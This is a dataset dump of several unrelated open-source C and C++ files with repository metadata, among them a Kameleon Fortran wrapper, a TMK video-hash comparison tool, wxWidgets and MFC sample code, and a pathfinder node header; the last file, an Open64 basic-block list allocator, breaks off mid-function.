ext/kameleon/src/ccmc/wrappers/fortran/GeneralFileReader_f.cpp
alexanderbock/Kameleon-Converter
6c2e66bfea60b17a369a3615bc1a623bba100a6f
[ "BSD-3-Clause" ]
null
null
null
ext/kameleon/src/ccmc/wrappers/fortran/GeneralFileReader_f.cpp
alexanderbock/Kameleon-Converter
6c2e66bfea60b17a369a3615bc1a623bba100a6f
[ "BSD-3-Clause" ]
null
null
null
/* * GeneralFileReader_compatibility.h * * Created on: Mar 16, 2010 * Author: dberrios */ #include "GeneralFileReader_f.h" #include <ccmc/wrappers/c/GeneralFileReader_c.h> #include <ccmc/GeneralFileReader.h> #include <ccmc/Kameleon.h> #include <string> #include <string.h> #include <iostream> using namespace ccmc; void f_generalfilereader_create_(int * id) { *id = GeneralFileReader_create(); } void f_generalfilereader_open_(int * id, const char * filename, long * status) { *status = GeneralFileReader_open(*id, filename); } void f_generalfilereader_getvariable_(int * id, const char * variable, float * variableData) { GeneralFileReader_getVariable(*id, variable, variableData); } void f_generalfilereader_getvariablebyid_(int * id, long * variableID, float * variableData) { GeneralFileReader_getVariableByID(*id, *variableID, variableData); } void f_generalfilereader_getvariablesubrange_(int * id, const char * variable, long * startIndex, long * count, float * variableData) { GeneralFileReader_getVariableSubRange(*id, variable, *startIndex, *count, variableData); } void f_generalfilereader_getvariablebyidsubrange_(int * id, long * variableID, long * startIndex, long * count, float * variableData) { GeneralFileReader_getVariableByIDSubRange(*id, *variableID, *startIndex, *count, variableData); } void f_generalfilereader_getvariableid_(int * id, const char * variable, long * status) { *status = GeneralFileReader_getVariableID(*id, variable); } void f_generalfilereader_getvariableint(int id, const char * variable, int * variableData) { } void f_generalfilereader_getnumberofglobalattributes(long * num) { } void f_generalfilereader_getnumberofvariables(long * num) { } void f_generalfilereader_getnumberofvariableattributes(long * num) { } void f_generalfilereader_getnumberofrecords(int * id, const char * variable, long * num) { } void f_generalfilereader_getnumberofrecordsbyid(int * id, long * variable_id, long * num) { } void f_generalfilereader_close_(int * id, long * status) { *status = GeneralFileReader_close(*id); } void f_generalfilereader_delete_(int * id, long * status) { *status = GeneralFileReader_delete(*id); }
22.864583
133
0.768109
alexanderbock
0eb626c6a158af3ce561362e0760df7b1b9fb5ba
2,907
cpp
C++
tmk/cpp/bin/tmk-show-pair-offsets.cpp
b-bold/ThreatExchange
6f8d0dc803faccf576c9398569bb52d54a4f9a87
[ "BSD-3-Clause" ]
997
2015-03-13T18:04:03.000Z
2022-03-30T12:09:10.000Z
tmk/cpp/bin/tmk-show-pair-offsets.cpp
b-bold/ThreatExchange
6f8d0dc803faccf576c9398569bb52d54a4f9a87
[ "BSD-3-Clause" ]
444
2015-03-26T17:28:49.000Z
2022-03-28T19:34:05.000Z
tmk/cpp/bin/tmk-show-pair-offsets.cpp
b-bold/ThreatExchange
6f8d0dc803faccf576c9398569bb52d54a4f9a87
[ "BSD-3-Clause" ]
294
2015-03-13T22:19:43.000Z
2022-03-30T08:42:45.000Z
// ================================================================ // Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved // ================================================================ // ================================================================ // Given a pair of `.tmk` files (see section below on file formats), computes // the cosine-similarity score of their time-average 'coarse' features, and the // optimal detected time-shift (modulo periods) between the two videos. // ================================================================ #include <tmk/cpp/algo/tmkfv.h> #include <tmk/cpp/lib/vec.h> #include <stdio.h> #include <stdlib.h> #include <string.h> using namespace facebook::tmk; using namespace facebook::tmk::algo; // ================================================================ void usage(char* argv0, int exit_rc) { FILE* fp = (exit_rc == 0) ? stdout : stderr; fprintf( fp, "Usage: %s [options] {TMK file name 1} {TMK file name 2}\n", argv0); fprintf(fp, "Options:\n"); fprintf(fp, "-v|--verbose Print details of K-delta results.\n"); exit(exit_rc); } // ================================================================ int main(int argc, char** argv) { bool printDetails = false; int argi = 1; while ((argi < argc) && argv[argi][0] == '-') { char* flag = argv[argi++]; if (!strcmp(flag, "-h") || !strcmp(flag, "--help")) { usage(argv[0], 0); } else if (!strcmp(flag, "-v") || !strcmp(flag, "--verbose")) { printDetails = true; } else { usage(argv[0], 1); } } if ((argc - argi) != 2) { usage(argv[0], 1); } char* tmkFileNameA = argv[argi]; char* tmkFileNameB = argv[argi + 1]; std::shared_ptr<TMKFeatureVectors> pfva = TMKFeatureVectors::readFromInputFile(tmkFileNameA, argv[0]); std::shared_ptr<TMKFeatureVectors> pfvb = TMKFeatureVectors::readFromInputFile(tmkFileNameB, argv[0]); if (pfva == nullptr || pfvb == nullptr) { // error message already printed out exit(1); } if (!TMKFeatureVectors::areCompatible(*pfva, *pfvb)) { fprintf( stderr, "%s: immiscible provenances:\n%s\n%s\n", argv[0], tmkFileNameA, tmkFileNameB); exit(1); } float cosSim = facebook::tmk::libvec::computeCosSim( pfva->getPureAverageFeature(), pfvb->getPureAverageFeature()); printf("%.6f\n", cosSim); facebook::tmk::algo::Periods periods = pfva->getPeriods(); facebook::tmk::algo::BestOffsets bestOffsets; facebook::tmk::algo::ValuesAtBestOffsets valuesAtBestOffsets; TMKFeatureVectors::findPairOffsetsModuloPeriods( *pfva, *pfvb, bestOffsets, valuesAtBestOffsets, printDetails); for (int i = 0; i < periods.size(); i++) { // Here, unscaled to [0,1] printf( "%d mod %d: %.6f\n", bestOffsets[i], periods[i], valuesAtBestOffsets[i]); } return 0; }
32.3
80
0.544204
b-bold
0eb628c74491a49e649fd4f44d9910783a851d2c
3,188
cpp
C++
packages/thirdParty/wxWidgets/wxWidgets-2.9.4/src/common/checkboxcmn.cpp
wivlaro/newton-dynamics
2bafd29aea919f237e56784510db1cb8011d0f40
[ "Zlib" ]
null
null
null
packages/thirdParty/wxWidgets/wxWidgets-2.9.4/src/common/checkboxcmn.cpp
wivlaro/newton-dynamics
2bafd29aea919f237e56784510db1cb8011d0f40
[ "Zlib" ]
null
null
null
packages/thirdParty/wxWidgets/wxWidgets-2.9.4/src/common/checkboxcmn.cpp
wivlaro/newton-dynamics
2bafd29aea919f237e56784510db1cb8011d0f40
[ "Zlib" ]
null
null
null
///////////////////////////////////////////////////////////////////////////// // Name: src/common/checkboxcmn.cpp // Purpose: wxCheckBox common code // Author: Julian Smart // Modified by: // Created: 04/01/98 // RCS-ID: $Id$ // Copyright: (c) Julian Smart // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// // ============================================================================ // declarations // ============================================================================ // ---------------------------------------------------------------------------- // headers // ---------------------------------------------------------------------------- // For compilers that support precompilation, includes "wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #if wxUSE_CHECKBOX #include "wx/checkbox.h" extern WXDLLEXPORT_DATA(const char) wxCheckBoxNameStr[] = "check"; // ---------------------------------------------------------------------------- // XTI // ---------------------------------------------------------------------------- wxDEFINE_FLAGS( wxCheckBoxStyle ) wxBEGIN_FLAGS( wxCheckBoxStyle ) // new style border flags, we put them first to // use them for streaming out wxFLAGS_MEMBER(wxBORDER_SIMPLE) wxFLAGS_MEMBER(wxBORDER_SUNKEN) wxFLAGS_MEMBER(wxBORDER_DOUBLE) wxFLAGS_MEMBER(wxBORDER_RAISED) wxFLAGS_MEMBER(wxBORDER_STATIC) wxFLAGS_MEMBER(wxBORDER_NONE) // old style border flags wxFLAGS_MEMBER(wxSIMPLE_BORDER) wxFLAGS_MEMBER(wxSUNKEN_BORDER) wxFLAGS_MEMBER(wxDOUBLE_BORDER) wxFLAGS_MEMBER(wxRAISED_BORDER) wxFLAGS_MEMBER(wxSTATIC_BORDER) wxFLAGS_MEMBER(wxNO_BORDER) // standard window styles wxFLAGS_MEMBER(wxTAB_TRAVERSAL) wxFLAGS_MEMBER(wxCLIP_CHILDREN) wxFLAGS_MEMBER(wxTRANSPARENT_WINDOW) wxFLAGS_MEMBER(wxWANTS_CHARS) wxFLAGS_MEMBER(wxNO_FULL_REPAINT_ON_RESIZE) wxFLAGS_MEMBER(wxALWAYS_SHOW_SB ) wxFLAGS_MEMBER(wxVSCROLL) wxFLAGS_MEMBER(wxHSCROLL) wxEND_FLAGS( wxCheckBoxStyle ) wxIMPLEMENT_DYNAMIC_CLASS_XTI(wxCheckBox, wxControl, "wx/checkbox.h") wxBEGIN_PROPERTIES_TABLE(wxCheckBox) wxEVENT_PROPERTY( Click, wxEVT_COMMAND_CHECKBOX_CLICKED, wxCommandEvent ) wxPROPERTY( Font, wxFont, SetFont, GetFont, wxEMPTY_PARAMETER_VALUE, \ 0 /*flags*/, wxT("Helpstring"), wxT("group")) wxPROPERTY( Label,wxString, SetLabel, GetLabel, wxString(), \ 0 /*flags*/, wxT("Helpstring"), wxT("group")) wxPROPERTY( Value,bool, SetValue, GetValue, wxEMPTY_PARAMETER_VALUE, \ 0 /*flags*/, wxT("Helpstring"), wxT("group")) wxPROPERTY_FLAGS( WindowStyle, wxCheckBoxStyle, long, SetWindowStyleFlag, \ GetWindowStyleFlag, wxEMPTY_PARAMETER_VALUE, 0 /*flags*/, \ wxT("Helpstring"), wxT("group")) // style wxEND_PROPERTIES_TABLE() wxEMPTY_HANDLERS_TABLE(wxCheckBox) wxCONSTRUCTOR_6( wxCheckBox, wxWindow*, Parent, wxWindowID, Id, \ wxString, Label, wxPoint, Position, wxSize, Size, long, WindowStyle ) #endif // wxUSE_CHECKBOX
34.652174
86
0.572459
wivlaro
0eb66e44a2618868d454cbc92f49a0c67f9f43d4
4,805
cpp
C++
VC2010Samples/MFC/Visual C++ 2008 Feature Pack/StateCollection/StateCollectionView.cpp
alonmm/VCSamples
6aff0b4902f5027164d593540fcaa6601a0407c3
[ "MIT" ]
300
2019-05-09T05:32:33.000Z
2022-03-31T20:23:24.000Z
VC2010Samples/MFC/Visual C++ 2008 Feature Pack/StateCollection/StateCollectionView.cpp
JaydenChou/VCSamples
9e1d4475555b76a17a3568369867f1d7b6cc6126
[ "MIT" ]
9
2016-09-19T18:44:26.000Z
2018-10-26T10:20:05.000Z
VC2010Samples/MFC/Visual C++ 2008 Feature Pack/StateCollection/StateCollectionView.cpp
JaydenChou/VCSamples
9e1d4475555b76a17a3568369867f1d7b6cc6126
[ "MIT" ]
633
2019-05-08T07:34:12.000Z
2022-03-30T04:38:28.000Z
// This is a part of the Microsoft Foundation Classes C++ library. // Copyright (C) Microsoft Corporation // All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Foundation Classes Reference and related // electronic documentation provided with the library. // See these sources for detailed information regarding the // Microsoft Foundation Classes product. #include "stdafx.h" #include "StateCollection.h" #include "StateCollectionDoc.h" #include "StateCollectionView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif static const CString strInfo = _T("This sample illustrates how to save/load the current configuration on the fly.\r\n") _T("You can configure two 'environments' - Regular and Debug.\r\n") _T("Just customize the toolbar/menu/docking bars and select 'Project|Save Debug' or 'Project|Save Regular'.\r\n") _T("When you want to switch between configurations select 'Project|Load Debug' or 'Project|Load Regular'.\r\n") _T("When the application is starting up, it loads the default configuration.\r\n\r\n") _T("Note the use of CWinAppEx::LoadState/SaveState."); ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView IMPLEMENT_DYNCREATE(CStateCollectionView, CView) BEGIN_MESSAGE_MAP(CStateCollectionView, CView) ON_WM_LBUTTONDBLCLK() ON_WM_CONTEXTMENU() // Standard printing commands ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_PREVIEW, OnFilePrintPreview) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView construction/destruction CStateCollectionView::CStateCollectionView() { // TODO: add construction code here } CStateCollectionView::~CStateCollectionView() { } BOOL CStateCollectionView::PreCreateWindow(CREATESTRUCT& cs) { // TODO: Modify the Window class or styles here by modifying // the CREATESTRUCT cs return CView::PreCreateWindow(cs); } ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView drawing void CStateCollectionView::OnDraw(CDC* pDC) { // CStateCollectionDoc* pDoc = GetDocument(); // ASSERT_VALID(pDoc); const int iOffset = 20; CFont* pFontOld = (CFont*) pDC->SelectStockObject (DEFAULT_GUI_FONT); ASSERT (pFontOld != NULL); CRect rectClient; GetClientRect (&rectClient); CRect rectText = rectClient; rectText.DeflateRect (iOffset, iOffset); pDC->DrawText (strInfo, rectText, DT_CALCRECT | DT_WORDBREAK); rectText.OffsetRect ( (rectClient.Width () - rectText.Width () - 2 * iOffset) / 2, (rectClient.Height () - rectText.Height () - 2 * iOffset) / 2); CRect rectFrame = rectText; rectFrame.InflateRect (iOffset, iOffset); pDC->FillSolidRect (rectFrame, ::GetSysColor (COLOR_INFOBK)); rectFrame.DeflateRect (1, 1); pDC->Draw3dRect (rectFrame, ::GetSysColor (COLOR_3DSHADOW), ::GetSysColor (COLOR_3DLIGHT)); rectFrame.DeflateRect (2, 2); pDC->Draw3dRect (rectFrame, ::GetSysColor (COLOR_3DSHADOW), ::GetSysColor (COLOR_3DLIGHT)); pDC->SetTextColor (::GetSysColor (COLOR_INFOTEXT)); pDC->SetBkMode (TRANSPARENT); pDC->DrawText (strInfo, rectText, DT_WORDBREAK); pDC->SelectObject (pFontOld); } ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView printing void CStateCollectionView::OnFilePrintPreview() { AFXPrintPreview (this); } BOOL CStateCollectionView::OnPreparePrinting(CPrintInfo* pInfo) { // default preparation return DoPreparePrinting(pInfo); } void CStateCollectionView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/) { // TODO: add extra initialization before printing } void CStateCollectionView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/) { // TODO: add cleanup after printing } ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView diagnostics #ifdef _DEBUG void CStateCollectionView::AssertValid() const { CView::AssertValid(); } void CStateCollectionView::Dump(CDumpContext& dc) const { CView::Dump(dc); } CStateCollectionDoc* CStateCollectionView::GetDocument() // non-debug version is inline { ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CStateCollectionDoc))); return (CStateCollectionDoc*)m_pDocument; } #endif //_DEBUG ///////////////////////////////////////////////////////////////////////////// // CStateCollectionView message handlers void CStateCollectionView::OnLButtonDblClk(UINT /*nFlags*/, CPoint /*point*/) { theApp.OnViewDoubleClick (this, IDR_MAINFRAME); } void CStateCollectionView::OnContextMenu(CWnd*, CPoint point) { theApp.ShowPopupMenu (IDR_CONTEXT_MENU, point, this); }
28.772455
114
0.688033
alonmm
0eb8410a4bd9546f67f93f6ca9fcf994bbce4171
1,329
hh
C++
include/Attributes/CreationDateAttribute.hh
aaronbamberger/gerber_rs274x_parser
d2bbd6c66d322ab47715771642255f8302521300
[ "BSD-2-Clause" ]
6
2016-09-28T18:26:42.000Z
2021-04-10T13:19:05.000Z
include/Attributes/CreationDateAttribute.hh
aaronbamberger/gerber_rs274x_parser
d2bbd6c66d322ab47715771642255f8302521300
[ "BSD-2-Clause" ]
1
2021-02-09T00:24:04.000Z
2021-02-27T22:08:05.000Z
include/Attributes/CreationDateAttribute.hh
aaronbamberger/gerber_rs274x_parser
d2bbd6c66d322ab47715771642255f8302521300
[ "BSD-2-Clause" ]
5
2017-09-14T09:48:17.000Z
2021-07-19T07:58:34.000Z
/* * Copyright 2021 Aaron Bamberger * Licensed under BSD 2-clause license * See LICENSE file at root of source tree, * or https://opensource.org/licenses/BSD-2-Clause */ #ifndef _CREATION_DATE_ATTRIBUTE_H #define _CREATION_DATE_ATTRIBUTE_H #include "Attributes/StandardAttribute.hh" #include "Util/ValueWithLocation.hh" #include "location.hh" #include <string> #include <cstdint> // TODO: Consider rewriting this to use a standard date/time library, such as boost::date class CreationDateAttribute : public StandardAttribute { public: CreationDateAttribute(ValueWithLocation<std::uint16_t> year, ValueWithLocation<std::uint8_t> month, ValueWithLocation<std::uint8_t> day, ValueWithLocation<std::uint8_t> hour, ValueWithLocation<std::uint8_t> minute, ValueWithLocation<std::uint8_t> second, ValueWithLocation<std::int8_t> utc_offset, yy::location name_location = yy::location()); virtual ~CreationDateAttribute(); private: ValueWithLocation<std::uint16_t> m_year; ValueWithLocation<std::uint8_t> m_month; ValueWithLocation<std::uint8_t> m_day; ValueWithLocation<std::uint8_t> m_hour; ValueWithLocation<std::uint8_t> m_minute; ValueWithLocation<std::uint8_t> m_second; ValueWithLocation<std::int8_t> m_utc_offset; }; #endif // _CREATION_DATE_ATTRIBUTE_H
30.906977
89
0.762227
aaronbamberger
0eb8ee6845cb344fc7bbaddeeaf9a4b469395120
573
cpp
C++
Lectures/Lecture10/indirectionExample.cpp
galursa/BasicsOfProgramming
ff3ce4f918048d25cbc724df5a96c09e48476792
[ "MIT" ]
2
2020-11-07T06:03:45.000Z
2020-12-02T08:22:42.000Z
Lectures/Lecture10/indirectionExample.cpp
galursa/WSTI_BasicsOfProgramming
ff3ce4f918048d25cbc724df5a96c09e48476792
[ "MIT" ]
null
null
null
Lectures/Lecture10/indirectionExample.cpp
galursa/WSTI_BasicsOfProgramming
ff3ce4f918048d25cbc724df5a96c09e48476792
[ "MIT" ]
1
2020-12-07T06:01:40.000Z
2020-12-07T06:01:40.000Z
#include <iostream> using namespace std; int main(int argc, char** argv) { int number = 5; int* pNumber = &number; cout << "The value of number: " << number << "\n"; cout << "The address of number: " << &number << "\n"; number++; cout << "The value of number after first increasing: " << number << "\n"; cout << "The address of number after first increasing: " << &number << "\n"; (*pNumber)++; cout << "The value of number after second increasing: " << number << "\n"; cout << "The address of number after second increasing: " << &number << "\n"; return 0; }
31.833333
78
0.61082
galursa
0eb9802deb40156a423cdb6c4308eaaa24d2e0a0
2,848
hpp
C++
src/pathfinder/yapf/yapf_node.hpp
trademarks/OpenTTD
fd7fca73cf61a2960e8df8fa221b179d23ae3ef0
[ "Unlicense" ]
8
2016-10-21T09:01:43.000Z
2021-05-31T06:32:14.000Z
src/pathfinder/yapf/yapf_node.hpp
blackberry/OpenTTD
fd7fca73cf61a2960e8df8fa221b179d23ae3ef0
[ "Unlicense" ]
null
null
null
src/pathfinder/yapf/yapf_node.hpp
blackberry/OpenTTD
fd7fca73cf61a2960e8df8fa221b179d23ae3ef0
[ "Unlicense" ]
4
2017-05-16T00:15:58.000Z
2020-08-06T01:46:31.000Z
/* $Id$ */ /* * This file is part of OpenTTD. * OpenTTD is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, version 2. * OpenTTD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenTTD. If not, see <http://www.gnu.org/licenses/>. */ /** @file yapf_node.hpp Node in the pathfinder's graph. */ #ifndef YAPF_NODE_HPP #define YAPF_NODE_HPP /** Yapf Node Key that evaluates hash from (and compares) tile & exit dir. */ struct CYapfNodeKeyExitDir { TileIndex m_tile; Trackdir m_td; DiagDirection m_exitdir; FORCEINLINE void Set(TileIndex tile, Trackdir td) { m_tile = tile; m_td = td; m_exitdir = (m_td == INVALID_TRACKDIR) ? INVALID_DIAGDIR : TrackdirToExitdir(m_td); } FORCEINLINE int CalcHash() const {return m_exitdir | (m_tile << 2);} FORCEINLINE bool operator == (const CYapfNodeKeyExitDir& other) const {return (m_tile == other.m_tile) && (m_exitdir == other.m_exitdir);} void Dump(DumpTarget &dmp) const { dmp.WriteTile("m_tile", m_tile); dmp.WriteEnumT("m_td", m_td); dmp.WriteEnumT("m_exitdir", m_exitdir); } }; struct CYapfNodeKeyTrackDir : public CYapfNodeKeyExitDir { FORCEINLINE int CalcHash() const {return m_td | (m_tile << 4);} FORCEINLINE bool operator == (const CYapfNodeKeyTrackDir& other) const {return (m_tile == other.m_tile) && (m_td == other.m_td);} }; /** Yapf Node base */ template <class Tkey_, class Tnode> struct CYapfNodeT { typedef Tkey_ Key; typedef Tnode Node; Tkey_ m_key; Node *m_hash_next; Node *m_parent; int m_cost; int m_estimate; FORCEINLINE void Set(Node *parent, TileIndex tile, Trackdir td, bool is_choice) { m_key.Set(tile, td); m_hash_next = NULL; m_parent = parent; m_cost = 0; m_estimate = 0; } FORCEINLINE Node *GetHashNext() {return m_hash_next;} FORCEINLINE void SetHashNext(Node *pNext) {m_hash_next = pNext;} FORCEINLINE TileIndex GetTile() const {return m_key.m_tile;} FORCEINLINE Trackdir GetTrackdir() const {return m_key.m_td;} FORCEINLINE const Tkey_& GetKey() const {return m_key;} FORCEINLINE int GetCost() const {return m_cost;} FORCEINLINE int GetCostEstimate() const {return m_estimate;} FORCEINLINE bool operator < (const Node& other) const {return m_estimate < other.m_estimate;} void Dump(DumpTarget &dmp) const { dmp.WriteStructT("m_key", &m_key); dmp.WriteStructT("m_parent", m_parent); dmp.WriteLine("m_cost = %d", m_cost); dmp.WriteLine("m_estimate = %d", m_estimate); } }; #endif /* YAPF_NODE_HPP */
33.505882
185
0.719803
trademarks
0ebccddc4beac9cf4894a7fa75aef1120720436a
7,956
cpp
C++
Pod/musicFramework/impl/EncodingFunctions.cpp
iKimee/musicXML
5555f5c00e74c8e3f5ddf7e83072bf208602b970
[ "Apache-2.0" ]
3
2018-12-18T06:38:57.000Z
2022-01-25T10:42:19.000Z
Pod/musicFramework/impl/EncodingFunctions.cpp
Bone111/MusicXMLParser
674f6b52634abb95008cc04ee02f4df0055851a6
[ "MIT" ]
null
null
null
Pod/musicFramework/impl/EncodingFunctions.cpp
Bone111/MusicXMLParser
674f6b52634abb95008cc04ee02f4df0055851a6
[ "MIT" ]
1
2021-01-29T10:43:31.000Z
2021-01-29T10:43:31.000Z
// MusicXML Class Library // Copyright (c) by Matthew James Briggs // Distributed under the MIT License #include "../impl/EncodingFunctions.h" #include "../core/Date.h" #include "../core/elements/Encoder.h" #include "../core/elements/Encoding.h" #include "../core/elements/Encoding.h" #include "../core/elements/EncodingChoice.h" #include "../core/elements/EncodingDate.h" #include "../core/elements/EncodingDescription.h" #include "../core/elements/Identification.h" #include "../core/elements/Software.h" #include "../core/elements/Supports.h" #include "../core/elements/MiscellaneousField.h" #include "../core/elements/Miscellaneous.h" namespace mx { namespace impl { void createEncoding( const api::EncodingData& inEncoding, core::ScoreHeaderGroup& header ) { auto identification = header.getIdentification(); auto encoding = identification->getEncoding(); if( !inEncoding.encoder.empty() ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); auto item = core::makeEncodingChoice(); item->setChoice( core::EncodingChoice::Choice::encoder ); item->getEncoder()->setValue( core::XsString( inEncoding.encoder ) ); encoding->addEncodingChoice( item ); } core::Date tryDate{ inEncoding.encodingDate.year, inEncoding.encodingDate.month, inEncoding.encodingDate.day }; const bool isYearValid = inEncoding.encodingDate.year == tryDate.getYear(); const bool isMonthValid = inEncoding.encodingDate.month == tryDate.getMonth(); const bool isDayValid = inEncoding.encodingDate.day == tryDate.getDay(); if( isYearValid || isMonthValid || isDayValid ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); auto item = core::makeEncodingChoice(); item->setChoice( core::EncodingChoice::Choice::encodingDate ); item->getEncodingDate()->setValue( tryDate ); encoding->addEncodingChoice( item ); } if( !inEncoding.encodingDescription.empty() ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); auto item = core::makeEncodingChoice(); item->setChoice( core::EncodingChoice::Choice::encodingDescription ); item->getEncodingDescription()->setValue( core::XsString( inEncoding.encodingDescription ) ); encoding->addEncodingChoice( item ); } for( const auto& s : inEncoding.software ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); auto item = core::makeEncodingChoice(); item->setChoice( core::EncodingChoice::Choice::software ); item->getSoftware()->setValue( core::XsString( s ) ); encoding->addEncodingChoice( item ); } for ( const auto& s : inEncoding.supportedItems ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); auto item = core::makeEncodingChoice(); item->setChoice( core::EncodingChoice::Choice::supports ); auto supports = item->getSupports(); auto attributes = supports->getAttributes(); if ( !s.elementName.empty() ) { attributes->element.setValue( s.elementName ); } if ( !s.attributeName.empty() ) { attributes->hasAttribute = true; attributes->attribute.setValue( s.attributeName ); } if ( !s.specificValue.empty() ) { attributes->hasValue = true; attributes->value.setValue( s.specificValue ); } attributes->type = s.isSupported ? core::YesNo::yes : core::YesNo::no; encoding->addEncodingChoice( item ); } for ( const auto& m : inEncoding.miscelaneousFields ) { header.setHasIdentification( true ); identification->setHasEncoding( true ); identification->setHasMiscellaneous( true ); auto item = core::makeMiscellaneousField(); item->getAttributes()->name.setValue( m.key ); item->setValue( core::XsString{ m.value } ); identification->getMiscellaneous()->addMiscellaneousField( item ); } } api::EncodingData createEncoding( const core::Encoding& inEncoding ) { api::EncodingData outEncoding; bool isDateFound = false; bool isEncoderFound = false; bool isDescriptionFound = false; for( auto ec : inEncoding.getEncodingChoiceSet() ) { switch( ec->getChoice() ) { case core::EncodingChoice::Choice::encodingDate: { if( !isDateFound ) { outEncoding.encodingDate.year = ec->getEncodingDate()->getValue().getYear(); outEncoding.encodingDate.month = ec->getEncodingDate()->getValue().getMonth(); outEncoding.encodingDate.day = ec->getEncodingDate()->getValue().getDay(); isDateFound = true; } break; } case core::EncodingChoice::Choice::encoder: { if( !isEncoderFound ) { outEncoding.encoder = ec->getEncoder()->getValue().getValue(); isEncoderFound = true; } break; } case core::EncodingChoice::Choice::encodingDescription: { if( !isDescriptionFound ) { outEncoding.encodingDescription = ec->getEncodingDescription()->getValue().getValue(); isDescriptionFound = true; } break; } case core::EncodingChoice::Choice::software: { outEncoding.software.emplace_back( ec->getSoftware()->getValue().getValue() ); break; } case core::EncodingChoice::Choice::supports: { auto supportsElement = ec->getSupports(); auto attr = supportsElement->getAttributes(); api::SupportedItem item; item.elementName = attr->element.getValue(); if( attr->hasAttribute ) { item.attributeName = attr->attribute.getValue(); } item.isSupported = ( attr->type == core::YesNo::yes ); if( attr->hasValue ) { item.specificValue = attr->value.getValue(); } outEncoding.supportedItems.push_back( std::move( item ) ); break; } } } return outEncoding; } } }
43.005405
123
0.497612
iKimee
0ebcd089e828e911c1d549990b66e6d9869c5758
584
hh
C++
test/DBAL/SchemaTest.hh
decouple/framework
8dcb04e75660c977ed8d53b2e6e3aa7fa5ff9b95
[ "MIT" ]
null
null
null
test/DBAL/SchemaTest.hh
decouple/framework
8dcb04e75660c977ed8d53b2e6e3aa7fa5ff9b95
[ "MIT" ]
null
null
null
test/DBAL/SchemaTest.hh
decouple/framework
8dcb04e75660c977ed8d53b2e6e3aa7fa5ff9b95
[ "MIT" ]
null
null
null
<?hh // partial namespace Test\DBAL; use Decouple\Test\TestCase; use Decouple\DBAL\DPDO\DPDOMySQLDriver; use Decouple\Common\Contract\DB\Schema; class SchemaTest extends TestCase { public function execute() : void { $driver = new DPDOMySQLDriver(); $connected = $driver->connect(Map { "dbname" => "decouple", "type" => "mysql", "host" => "localhost" }, "decouple", "secret"); $schema = $driver->schema('decouple'); $failed = false; if(!$schema instanceof Schema) { $failed = true; } $this->assertEquals($failed, false); } }
26.545455
42
0.630137
decouple
0ebd0a4fc260475489711501e0fde20ea7be290d
10,353
cxx
C++
osprey/be/cg/bblist.cxx
sharugupta/OpenUH
daddd76858a53035f5d713f648d13373c22506e8
[ "BSD-2-Clause" ]
null
null
null
osprey/be/cg/bblist.cxx
sharugupta/OpenUH
daddd76858a53035f5d713f648d13373c22506e8
[ "BSD-2-Clause" ]
null
null
null
osprey/be/cg/bblist.cxx
sharugupta/OpenUH
daddd76858a53035f5d713f648d13373c22506e8
[ "BSD-2-Clause" ]
null
null
null
/* * Copyright (C) 2009 Advanced Micro Devices, Inc. All Rights Reserved. */ /* Copyright (C) 2000, 2001 Silicon Graphics, Inc. All Rights Reserved. This program is free software; you can redistribute it and/or modify it under the terms of version 2 of the GNU General Public License as published by the Free Software Foundation. This program is distributed in the hope that it would be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Further, this software is distributed without any warranty that it is free of the rightful claim of any third person regarding infringement or the like. Any license provided herein, whether implied or otherwise, applies only to this software file. Patent licenses, if any, provided herein do not apply to combinations of this program with other software, or any other product whatsoever. You should have received a copy of the GNU General Public License along with this program; if not, write the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, USA. Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pky, Mountain View, CA 94043, or: http://www.sgi.com For further information regarding this notice, see: http://oss.sgi.com/projects/GenInfo/NoticeExplan */ #include "defs.h" #include "erglob.h" #include "mempool.h" #include "bb.h" #include "cgtarget.h" #include "freq.h" #include "cg.h" /* Since sizeof(BBLIST) is 12, 670*12 = 8040, which is just under 8K. */ #define BBLISTS_PER_BLOCK 670 #define BBLIST_BLOCK_SIZE (BBLISTS_PER_BLOCK * sizeof(BBLIST)) static BBLIST *BBlist_Free_List = NULL; static INT num_bblist_buffers = 0; /* Get a BBLIST item from the free list. If the free list is empty, * allocate a new block and return the first item in the block. */ static BBLIST * bblist_alloc (void) { BBLIST *tmp_list; BBLIST *cur_item; INT i; tmp_list = BBlist_Free_List; if (tmp_list == NULL) { /* TODO: we could use Pu_Alloc instead of malloc here. If we do, we need to make sure to set BBlist_Free_List to NULL whenever we do a Pu_Free. */ tmp_list = (BBLIST *) malloc (BBLIST_BLOCK_SIZE); num_bblist_buffers++; if (tmp_list == NULL) { ErrMsg (EC_No_Mem, "bblist_alloc"); } cur_item = tmp_list; for (i = 0; i < BBLISTS_PER_BLOCK - 1; i++) { BBLIST_next(cur_item) = cur_item + 1; cur_item++; } BBLIST_next(cur_item) = NULL; } BBlist_Free_List = BBLIST_next(tmp_list); BBLIST_prob(tmp_list) = 0.0; BBLIST_next(tmp_list) = NULL; 